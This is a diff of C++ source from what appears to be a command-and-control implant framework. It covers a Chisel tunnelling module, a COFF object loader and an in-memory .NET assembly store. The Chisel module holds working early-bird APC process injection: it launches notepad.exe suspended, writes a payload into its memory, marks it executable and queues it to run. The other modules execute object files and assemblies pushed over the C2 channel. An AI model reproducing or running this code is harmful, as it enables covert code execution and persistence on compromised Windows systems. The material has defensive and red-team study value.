|
||||
TCHAR szCmdline[] = TEXT("notepad.exe");
|
||||
if (CreateProcess(NULL, szCmdline, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
|
||||
{
|
||||
PVOID remoteBuffer = VirtualAllocEx(pi.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
|
||||
WriteProcessMemory(pi.hProcess, remoteBuffer, payload.data(), payload.size(), NULL);
|
||||
DWORD oldprotect = 0;
|
||||
VirtualProtectEx(pi.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect);
|
||||
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer;
|
||||
QueueUserAPC((PAPCFUNC)apcRoutine, pi.hThread, NULL);
|
||||
ResumeThread(pi.hThread);
|
||||
TCHAR szCmdline[] = TEXT("notepad.exe");
|
||||
if (CreateProcess(NULL, szCmdline, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
|
||||
{
|
||||
PVOID remoteBuffer = VirtualAllocEx(pi.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
|
||||
WriteProcessMemory(pi.hProcess, remoteBuffer, payload.data(), payload.size(), NULL);
|
||||
DWORD oldprotect = 0;
|
||||
VirtualProtectEx(pi.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect);
|
||||
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer;
|
||||
QueueUserAPC((PAPCFUNC)apcRoutine, pi.hThread, NULL);
|
||||
ResumeThread(pi.hThread);
|
||||
|
||||
pid=pi.dwProcessId;
|
||||
result = "Start chisel on pid ";
|
||||
result += std::to_string(pid);
|
||||
result += "\n";
|
||||
}
|
||||
else
|
||||
{
|
||||
result += "CreateProcess failed.";
|
||||
}
|
||||
pid=pi.dwProcessId;
|
||||
result = "Start chisel on pid ";
|
||||
result += std::to_string(pid);
|
||||
result += "\n";
|
||||
}
|
||||
else
|
||||
{
|
||||
result += "CreateProcess failed.";
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_pid(pid);
|
||||
c2RetMessage.set_cmd(c2Message.cmd());
|
||||
c2RetMessage.set_returnvalue(result);
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_pid(pid);
|
||||
c2RetMessage.set_cmd(c2Message.cmd());
|
||||
c2RetMessage.set_returnvalue(result);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int Chisel::followUp(const C2Message &c2RetMessage)
|
||||
{
|
||||
int pid = c2RetMessage.pid();
|
||||
if(pid!=-1)
|
||||
{
|
||||
if(c2RetMessage.cmd()=="stop")
|
||||
{
|
||||
auto it = m_instances.begin();
|
||||
while(it != m_instances.end())
|
||||
{
|
||||
std::cout << (*it).first << std::endl;
|
||||
if((*it).first == pid)
|
||||
{
|
||||
it = m_instances.erase(it);
|
||||
}
|
||||
else
|
||||
{
|
||||
it++;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
std::pair<int, std::string> inst;
|
||||
inst.first = pid;
|
||||
inst.second = c2RetMessage.cmd();
|
||||
m_instances.push_back(inst);
|
||||
}
|
||||
}
|
||||
int pid = c2RetMessage.pid();
|
||||
if(pid!=-1)
|
||||
{
|
||||
if(c2RetMessage.cmd()=="stop")
|
||||
{
|
||||
auto it = m_instances.begin();
|
||||
while(it != m_instances.end())
|
||||
{
|
||||
std::cout << (*it).first << std::endl;
|
||||
if((*it).first == pid)
|
||||
{
|
||||
it = m_instances.erase(it);
|
||||
}
|
||||
else
|
||||
{
|
||||
it++;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
std::pair<int, std::string> inst;
|
||||
inst.first = pid;
|
||||
inst.second = c2RetMessage.cmd();
|
||||
m_instances.push_back(inst);
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -7,21 +7,21 @@ class Chisel : public ModuleCmd
|
||||
{
|
||||
|
||||
public:
|
||||
Chisel();
|
||||
~Chisel();
|
||||
Chisel();
|
||||
~Chisel();
|
||||
|
||||
std::string getInfo();
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int followUp(const C2Message &c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int followUp(const C2Message &c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
return OS_WINDOWS;
|
||||
}
|
||||
|
||||
private:
|
||||
std::vector<std::pair<int, std::string>> m_instances;
|
||||
std::vector<std::pair<int, std::string>> m_instances;
|
||||
|
||||
};
|
||||
|
||||
|
||||
@@ -44,9 +44,9 @@ __attribute__((visibility("default"))) CoffLoader* CoffConstructor()
|
||||
|
||||
CoffLoader::CoffLoader()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
: ModuleCmd("", moduleHash)
|
||||
#endif
|
||||
{
|
||||
}
|
||||
@@ -57,24 +57,24 @@ CoffLoader::~CoffLoader()
|
||||
|
||||
std::string CoffLoader::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "coffLoader:\n";
|
||||
info += "Load a .o coff file and execute it.\n";
|
||||
info += "coffLoader:\n";
|
||||
info += "Load a .o coff file and execute it.\n";
|
||||
info += "Coff take packed argument as entry, you get to specify the type as a string of [Z,z,s,i] for wstring, string, short, int.\n";
|
||||
info += "exemple:\n";
|
||||
info += "- coffLoader ./dir.x64.o go Zs c:\\ 0\n";
|
||||
info += "exemple:\n";
|
||||
info += "- coffLoader ./dir.x64.o go Zs c:\\ 0\n";
|
||||
info += "- coffLoader ./whoami.x64.o\n";
|
||||
#endif
|
||||
return info;
|
||||
return info;
|
||||
}
|
||||
|
||||
int CoffLoader::init(std::vector<std::string>& splitedCmd, C2Message& c2Message)
|
||||
{
|
||||
if (splitedCmd.size() < 3)
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
@@ -116,22 +116,22 @@ int CoffLoader::init(std::vector<std::string>& splitedCmd, C2Message& c2Message)
|
||||
}
|
||||
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int CoffLoader::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
{
|
||||
std::string payload = c2Message.data();
|
||||
std::string payload = c2Message.data();
|
||||
std::string functionName = c2Message.cmd();
|
||||
std::string args = c2Message.args();
|
||||
|
||||
std::string result = coffLoader(payload, functionName, args);
|
||||
std::string result = coffLoader(payload, functionName, args);
|
||||
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_returnvalue(result);
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_returnvalue(result);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -191,5 +191,5 @@ std::string CoffLoader::coffLoader(std::string& payload, std::string& functionNa
|
||||
}
|
||||
#endif
|
||||
|
||||
return result;
|
||||
return result;
|
||||
}
|
||||
@@ -7,20 +7,20 @@ class CoffLoader : public ModuleCmd
|
||||
{
|
||||
|
||||
public:
|
||||
CoffLoader();
|
||||
~CoffLoader();
|
||||
CoffLoader();
|
||||
~CoffLoader();
|
||||
|
||||
std::string getInfo();
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
return OS_WINDOWS;
|
||||
}
|
||||
|
||||
private:
|
||||
std::string coffLoader(std::string& payload, std::string& functionName, std::string& argsCompressed);
|
||||
std::string coffLoader(std::string& payload, std::string& functionName, std::string& argsCompressed);
|
||||
|
||||
};
|
||||
|
||||
|
||||
@@ -1,62 +1,62 @@
|
||||
#include "AssemblyManager.hpp"
|
||||
|
||||
|
||||
MyAssemblyManager::MyAssemblyManager(void)
|
||||
{
|
||||
count = 0;
|
||||
m_assemblyStore = new MyAssemblyStore();
|
||||
};
|
||||
|
||||
|
||||
MyAssemblyManager::~MyAssemblyManager(void)
|
||||
{
|
||||
delete m_assemblyStore;
|
||||
};
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyManager::QueryInterface(REFIID vTableGuid, void** ppv)
|
||||
{
|
||||
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyManager))
|
||||
{
|
||||
*ppv = 0;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
*ppv = this;
|
||||
this->AddRef();
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyAssemblyManager::AddRef()
|
||||
{
|
||||
return(++((MyAssemblyManager*)this)->count);
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyAssemblyManager::Release()
|
||||
{
|
||||
if (--((MyAssemblyManager*)this)->count == 0)
|
||||
{
|
||||
GlobalFree(this);
|
||||
return 0;
|
||||
}
|
||||
return ((MyAssemblyManager*)this)->count;
|
||||
}
|
||||
|
||||
|
||||
// This returns a list of assemblies that we are telling the CLR that we want it to handle loading (when/if a load is requested for them)
|
||||
// We can just return NULL and we will always be asked to load the assembly, but we can tell the CLR to load it in our ProvideAssembly implementation
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList)
|
||||
{
|
||||
*ppReferenceList = NULL;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
//This is responsible for returning our IHostAssemblyStore implementation
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore)
|
||||
{
|
||||
*ppAssemblyStore = m_assemblyStore;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
#include "AssemblyManager.hpp"
|
||||
|
||||
|
||||
MyAssemblyManager::MyAssemblyManager(void)
|
||||
{
|
||||
count = 0;
|
||||
m_assemblyStore = new MyAssemblyStore();
|
||||
};
|
||||
|
||||
|
||||
MyAssemblyManager::~MyAssemblyManager(void)
|
||||
{
|
||||
delete m_assemblyStore;
|
||||
};
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyManager::QueryInterface(REFIID vTableGuid, void** ppv)
|
||||
{
|
||||
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyManager))
|
||||
{
|
||||
*ppv = 0;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
*ppv = this;
|
||||
this->AddRef();
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyAssemblyManager::AddRef()
|
||||
{
|
||||
return(++((MyAssemblyManager*)this)->count);
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyAssemblyManager::Release()
|
||||
{
|
||||
if (--((MyAssemblyManager*)this)->count == 0)
|
||||
{
|
||||
GlobalFree(this);
|
||||
return 0;
|
||||
}
|
||||
return ((MyAssemblyManager*)this)->count;
|
||||
}
|
||||
|
||||
|
||||
// This returns a list of assemblies that we are telling the CLR that we want it to handle loading (when/if a load is requested for them)
|
||||
// We can just return NULL and we will always be asked to load the assembly, but we can tell the CLR to load it in our ProvideAssembly implementation
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList)
|
||||
{
|
||||
*ppReferenceList = NULL;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
//This is responsible for returning our IHostAssemblyStore implementation
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore)
|
||||
{
|
||||
*ppAssemblyStore = m_assemblyStore;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
@@ -1,41 +1,41 @@
|
||||
#pragma once
|
||||
#include "AssemblyStore.hpp"
|
||||
|
||||
|
||||
class MyAssemblyManager : public IHostAssemblyManager
|
||||
{
|
||||
public:
|
||||
MyAssemblyManager(void);
|
||||
~MyAssemblyManager(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
|
||||
virtual ULONG STDMETHODCALLTYPE AddRef(void);
|
||||
virtual ULONG STDMETHODCALLTYPE Release(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList);
|
||||
virtual HRESULT STDMETHODCALLTYPE GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore);
|
||||
|
||||
int setTargetAssembly(TargetAssembly * targetAssembly)
|
||||
{
|
||||
m_assemblyStore->setTargetAssembly(targetAssembly);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
|
||||
{
|
||||
m_assemblyStore->updateTargetAssembly(identityManager, data);
|
||||
return 0;
|
||||
}
|
||||
|
||||
LPWSTR getAssemblyInfo()
|
||||
{
|
||||
return m_assemblyStore->getAssemblyInfo();
|
||||
};
|
||||
|
||||
protected:
|
||||
DWORD count;
|
||||
|
||||
private:
|
||||
MyAssemblyStore* m_assemblyStore;
|
||||
|
||||
#pragma once
|
||||
#include "AssemblyStore.hpp"
|
||||
|
||||
|
||||
class MyAssemblyManager : public IHostAssemblyManager
|
||||
{
|
||||
public:
|
||||
MyAssemblyManager(void);
|
||||
~MyAssemblyManager(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
|
||||
virtual ULONG STDMETHODCALLTYPE AddRef(void);
|
||||
virtual ULONG STDMETHODCALLTYPE Release(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList);
|
||||
virtual HRESULT STDMETHODCALLTYPE GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore);
|
||||
|
||||
int setTargetAssembly(TargetAssembly * targetAssembly)
|
||||
{
|
||||
m_assemblyStore->setTargetAssembly(targetAssembly);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
|
||||
{
|
||||
m_assemblyStore->updateTargetAssembly(identityManager, data);
|
||||
return 0;
|
||||
}
|
||||
|
||||
LPWSTR getAssemblyInfo()
|
||||
{
|
||||
return m_assemblyStore->getAssemblyInfo();
|
||||
};
|
||||
|
||||
protected:
|
||||
DWORD count;
|
||||
|
||||
private:
|
||||
MyAssemblyStore* m_assemblyStore;
|
||||
|
||||
};
|
||||
@@ -1,114 +1,114 @@
|
||||
#include "AssemblyStore.hpp"
|
||||
#include <objbase.h>
|
||||
|
||||
#include <iostream>
|
||||
|
||||
#include <shlwapi.h>
|
||||
#pragma comment(lib, "Shlwapi.lib")
|
||||
|
||||
|
||||
MyAssemblyStore::MyAssemblyStore(void)
|
||||
{
|
||||
count = 0;
|
||||
m_targetAssembly = nullptr;
|
||||
};
|
||||
|
||||
|
||||
MyAssemblyStore::~MyAssemblyStore(void)
|
||||
{
|
||||
};
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyStore::QueryInterface(REFIID vTableGuid, void** ppv)
|
||||
{
|
||||
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyStore))
|
||||
{
|
||||
*ppv = 0;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
*ppv = this;
|
||||
this->AddRef();
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyAssemblyStore::AddRef()
|
||||
{
|
||||
return(++((MyAssemblyStore*)this)->count);
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyAssemblyStore::Release()
|
||||
{
|
||||
if (--((MyAssemblyStore*)this)->count == 0)
|
||||
{
|
||||
GlobalFree(this);
|
||||
return 0;
|
||||
}
|
||||
return ((MyAssemblyStore*)this)->count;
|
||||
}
|
||||
|
||||
|
||||
int TargetAssembly::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
|
||||
{
|
||||
m_assembly=data;
|
||||
|
||||
if(m_assemblyStream!=nullptr)
|
||||
m_assemblyStream->Release();
|
||||
|
||||
m_assemblyStream = SHCreateMemStream((BYTE *)m_assembly.data(), m_assembly.size());
|
||||
identityManager->GetBindingIdentityFromStream(m_assemblyStream, CLR_ASSEMBLY_IDENTITY_FLAGS_DEFAULT, m_assemblyInfo, &m_identityBufferSize);
|
||||
|
||||
// std::cout << "updateTargetAssembly " << m_assembly.size() << std::endl;
|
||||
// std::wcout << "assemblyInfo " << m_assemblyInfo << std::endl;
|
||||
m_id++;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int MyAssemblyStore::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
|
||||
{
|
||||
m_targetAssembly->updateTargetAssembly(identityManager, data);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB)
|
||||
{
|
||||
// std::cout << "MyAssemblyStore::ProvideAssembly " << std::endl;
|
||||
// std::wcout << "pBindInfo->lpPostPolicyIdentity " << pBindInfo->lpPostPolicyIdentity << std::endl;
|
||||
// std::wcout << "m_targetAssembly->getAssemblyInfo() " << m_targetAssembly->getAssemblyInfo() << std::endl;
|
||||
|
||||
// Check if the identity of the assembly being loaded is the one we want
|
||||
if (m_targetAssembly!=nullptr && wcscmp(m_targetAssembly->getAssemblyInfo(), pBindInfo->lpPostPolicyIdentity) == 0)
|
||||
{
|
||||
//This isn't used for anything here so just set it to 0
|
||||
*pContext = 0;
|
||||
|
||||
UINT64 id = m_targetAssembly->getId();
|
||||
*pAssemblyId = id;
|
||||
|
||||
//Create an IStream using our in-memory assembly bytes and return it to the CLR
|
||||
*ppStmAssemblyImage = SHCreateMemStream((BYTE *)m_targetAssembly->getAssembly(), m_targetAssembly->getAssemblySize());
|
||||
return S_OK;
|
||||
|
||||
}
|
||||
|
||||
// std::wcout <<" !!!!!!!!!!!!!!!!! FAILLLLLLLLLLLLLLED !!!!!!!!!!!" << std::endl;
|
||||
|
||||
// If it's not our assembly then tell the CLR to handle it
|
||||
return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND);
|
||||
}
|
||||
|
||||
|
||||
// This shouldn't really get called but if it does we'll just tell the CLR to find it
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB)
|
||||
{
|
||||
// std::cout << "MyAssemblyStore::ProvideModule" << std::endl;
|
||||
|
||||
//Tell the CLR to handle this
|
||||
return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND);
|
||||
}
|
||||
#include "AssemblyStore.hpp"
|
||||
#include <objbase.h>
|
||||
|
||||
#include <iostream>
|
||||
|
||||
#include <shlwapi.h>
|
||||
#pragma comment(lib, "Shlwapi.lib")
|
||||
|
||||
|
||||
MyAssemblyStore::MyAssemblyStore(void)
|
||||
{
|
||||
count = 0;
|
||||
m_targetAssembly = nullptr;
|
||||
};
|
||||
|
||||
|
||||
MyAssemblyStore::~MyAssemblyStore(void)
|
||||
{
|
||||
};
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyStore::QueryInterface(REFIID vTableGuid, void** ppv)
|
||||
{
|
||||
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyStore))
|
||||
{
|
||||
*ppv = 0;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
*ppv = this;
|
||||
this->AddRef();
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyAssemblyStore::AddRef()
|
||||
{
|
||||
return(++((MyAssemblyStore*)this)->count);
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyAssemblyStore::Release()
|
||||
{
|
||||
if (--((MyAssemblyStore*)this)->count == 0)
|
||||
{
|
||||
GlobalFree(this);
|
||||
return 0;
|
||||
}
|
||||
return ((MyAssemblyStore*)this)->count;
|
||||
}
|
||||
|
||||
|
||||
int TargetAssembly::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
|
||||
{
|
||||
m_assembly=data;
|
||||
|
||||
if(m_assemblyStream!=nullptr)
|
||||
m_assemblyStream->Release();
|
||||
|
||||
m_assemblyStream = SHCreateMemStream((BYTE *)m_assembly.data(), m_assembly.size());
|
||||
identityManager->GetBindingIdentityFromStream(m_assemblyStream, CLR_ASSEMBLY_IDENTITY_FLAGS_DEFAULT, m_assemblyInfo, &m_identityBufferSize);
|
||||
|
||||
// std::cout << "updateTargetAssembly " << m_assembly.size() << std::endl;
|
||||
// std::wcout << "assemblyInfo " << m_assemblyInfo << std::endl;
|
||||
m_id++;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int MyAssemblyStore::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
|
||||
{
|
||||
m_targetAssembly->updateTargetAssembly(identityManager, data);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB)
|
||||
{
|
||||
// std::cout << "MyAssemblyStore::ProvideAssembly " << std::endl;
|
||||
// std::wcout << "pBindInfo->lpPostPolicyIdentity " << pBindInfo->lpPostPolicyIdentity << std::endl;
|
||||
// std::wcout << "m_targetAssembly->getAssemblyInfo() " << m_targetAssembly->getAssemblyInfo() << std::endl;
|
||||
|
||||
// Check if the identity of the assembly being loaded is the one we want
|
||||
if (m_targetAssembly!=nullptr && wcscmp(m_targetAssembly->getAssemblyInfo(), pBindInfo->lpPostPolicyIdentity) == 0)
|
||||
{
|
||||
//This isn't used for anything here so just set it to 0
|
||||
*pContext = 0;
|
||||
|
||||
UINT64 id = m_targetAssembly->getId();
|
||||
*pAssemblyId = id;
|
||||
|
||||
//Create an IStream using our in-memory assembly bytes and return it to the CLR
|
||||
*ppStmAssemblyImage = SHCreateMemStream((BYTE *)m_targetAssembly->getAssembly(), m_targetAssembly->getAssemblySize());
|
||||
return S_OK;
|
||||
|
||||
}
|
||||
|
||||
// std::wcout <<" !!!!!!!!!!!!!!!!! FAILLLLLLLLLLLLLLED !!!!!!!!!!!" << std::endl;
|
||||
|
||||
// If it's not our assembly then tell the CLR to handle it
|
||||
return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND);
|
||||
}
|
||||
|
||||
|
||||
// This shouldn't really get called but if it does we'll just tell the CLR to find it
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB)
|
||||
{
|
||||
// std::cout << "MyAssemblyStore::ProvideModule" << std::endl;
|
||||
|
||||
//Tell the CLR to handle this
|
||||
return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND);
|
||||
}
|
||||
|
||||
@@ -1,94 +1,94 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <mscoree.h>
|
||||
#include <metahost.h>
|
||||
|
||||
#include <string>
|
||||
|
||||
#include <shlwapi.h>
|
||||
|
||||
|
||||
class TargetAssembly
|
||||
{
|
||||
public:
|
||||
TargetAssembly(void)
|
||||
{
|
||||
m_assemblyStream = nullptr;
|
||||
|
||||
m_id = 5000;
|
||||
m_assemblyInfo = (LPWSTR)malloc(4096);
|
||||
m_identityBufferSize = 4096;
|
||||
|
||||
};
|
||||
~TargetAssembly(void)
|
||||
{
|
||||
free(m_assemblyInfo);
|
||||
};
|
||||
|
||||
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data);
|
||||
|
||||
LPWSTR getAssemblyInfo()
|
||||
{
|
||||
return m_assemblyInfo;
|
||||
};
|
||||
|
||||
int getId()
|
||||
{
|
||||
return m_id;
|
||||
};
|
||||
|
||||
char* getAssembly()
|
||||
{
|
||||
return m_assembly.data();
|
||||
};
|
||||
|
||||
int getAssemblySize()
|
||||
{
|
||||
return m_assembly.size();
|
||||
};
|
||||
|
||||
private:
|
||||
DWORD m_identityBufferSize;
|
||||
LPWSTR m_assemblyInfo;
|
||||
|
||||
std::string m_assembly;
|
||||
|
||||
IStream* m_assemblyStream;
|
||||
|
||||
int m_id;
|
||||
};
|
||||
|
||||
|
||||
class MyAssemblyStore : public IHostAssemblyStore
|
||||
{
|
||||
public:
|
||||
MyAssemblyStore(void);
|
||||
~MyAssemblyStore(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
|
||||
virtual ULONG STDMETHODCALLTYPE AddRef(void);
|
||||
virtual ULONG STDMETHODCALLTYPE Release(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB);
|
||||
virtual HRESULT STDMETHODCALLTYPE ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB);
|
||||
|
||||
int setTargetAssembly(TargetAssembly * targetAssembly)
|
||||
{
|
||||
m_targetAssembly = targetAssembly;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data);
|
||||
|
||||
LPWSTR getAssemblyInfo()
|
||||
{
|
||||
return m_targetAssembly->getAssemblyInfo();
|
||||
};
|
||||
|
||||
protected:
|
||||
DWORD count;
|
||||
|
||||
private:
|
||||
TargetAssembly* m_targetAssembly;
|
||||
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <mscoree.h>
|
||||
#include <metahost.h>
|
||||
|
||||
#include <string>
|
||||
|
||||
#include <shlwapi.h>
|
||||
|
||||
|
||||
class TargetAssembly
|
||||
{
|
||||
public:
|
||||
TargetAssembly(void)
|
||||
{
|
||||
m_assemblyStream = nullptr;
|
||||
|
||||
m_id = 5000;
|
||||
m_assemblyInfo = (LPWSTR)malloc(4096);
|
||||
m_identityBufferSize = 4096;
|
||||
|
||||
};
|
||||
~TargetAssembly(void)
|
||||
{
|
||||
free(m_assemblyInfo);
|
||||
};
|
||||
|
||||
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data);
|
||||
|
||||
LPWSTR getAssemblyInfo()
|
||||
{
|
||||
return m_assemblyInfo;
|
||||
};
|
||||
|
||||
int getId()
|
||||
{
|
||||
return m_id;
|
||||
};
|
||||
|
||||
char* getAssembly()
|
||||
{
|
||||
return m_assembly.data();
|
||||
};
|
||||
|
||||
int getAssemblySize()
|
||||
{
|
||||
return m_assembly.size();
|
||||
};
|
||||
|
||||
private:
|
||||
DWORD m_identityBufferSize;
|
||||
LPWSTR m_assemblyInfo;
|
||||
|
||||
std::string m_assembly;
|
||||
|
||||
IStream* m_assemblyStream;
|
||||
|
||||
int m_id;
|
||||
};
|
||||
|
||||
|
||||
class MyAssemblyStore : public IHostAssemblyStore
|
||||
{
|
||||
public:
|
||||
MyAssemblyStore(void);
|
||||
~MyAssemblyStore(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
|
||||
virtual ULONG STDMETHODCALLTYPE AddRef(void);
|
||||
virtual ULONG STDMETHODCALLTYPE Release(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB);
|
||||
virtual HRESULT STDMETHODCALLTYPE ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB);
|
||||
|
||||
int setTargetAssembly(TargetAssembly * targetAssembly)
|
||||
{
|
||||
m_targetAssembly = targetAssembly;
